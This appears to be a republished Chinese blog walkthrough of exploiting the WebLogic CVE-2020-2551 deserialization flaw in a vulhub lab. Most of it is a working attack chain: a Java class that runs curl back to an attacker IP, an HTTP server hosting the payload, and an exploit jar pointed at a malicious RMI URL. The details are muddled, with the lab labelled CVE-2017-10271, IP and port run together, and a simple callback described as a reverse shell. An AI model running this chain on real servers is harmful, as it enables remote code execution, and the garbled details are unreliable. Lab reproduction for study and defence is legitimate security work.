本文共 1292 字,大约阅读时间需要 4 分钟。
在一次渗透测试任务中,我意外发现了WebLogic服务器存在一个严重的安全漏洞,即CVE-2020-2551。为了验证漏洞的存在与否,我使用了网络上流传的POC工具进行测试,但未能成功。这让我对漏洞的复现过程产生了浓厚兴趣,于是决定亲自动手复现和利用此漏洞。
靶机环境:
vulhub-weblogic-CVE-2017-10271172.16.10.267001攻击机环境:
192.168.82.134首先,使用Docker启动一个WebLogic环境,进入路径vulhub/weblogic/CVE-2017-1027,运行以下命令:
docker-compose up -d
使用docker ps命令确认服务是否启动成功:
docker ps
接下来,访问本地的7001端口,页面显示说明服务已成功启动。通过POC工具验证漏洞是否存在,结果表明目标服务器确实存在CVE-2020-2551漏洞。
为了利用此漏洞,我编写了一个Java程序exp.java:
import java.io.IOException;public class exp { static { try { java.lang.Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","curl http://192.168.82.134/sangforNP"}); } catch (IOException e) { e.printStackTrace(); } } public static void main(String[] args) { }} 将文件编译:
javac exp.java -source 1.6 -target 1.6
生成exp.class文件后,在当前目录下使用Python启动一个简单的HTTP服务:
python3 -m http.server 80
同时,使用marshalsec启动一个恶意的RMI服务:
java -jar weblogic_CVE_2020_2551.jar 172.16.10.26 7001 rmi://192.168.82.134:1099/exp
观察HTTP服务日志,检查是否出现sangforNP的记录。如果成功,说明已成功获取到反弹shell。
通过对漏洞的深入研究,我在内部网盘上找到了一个完整的利用工具,这让我对WebLogic漏洞的利用有了更深的理解。这次复现让我更加熟悉了WebLogic服务器的安全性,以及如何通过合理的渗透测试发现潜在的安全风险。
本文仅用于技术交流和学习,严禁用于非法操作。如您利用文章中介绍的知识对他人造成损失,后果需自行承担。如无法接受此约定,请不要阅读本文。感谢您的理解与配合!
转载地址:http://geakz.baihongyu.com/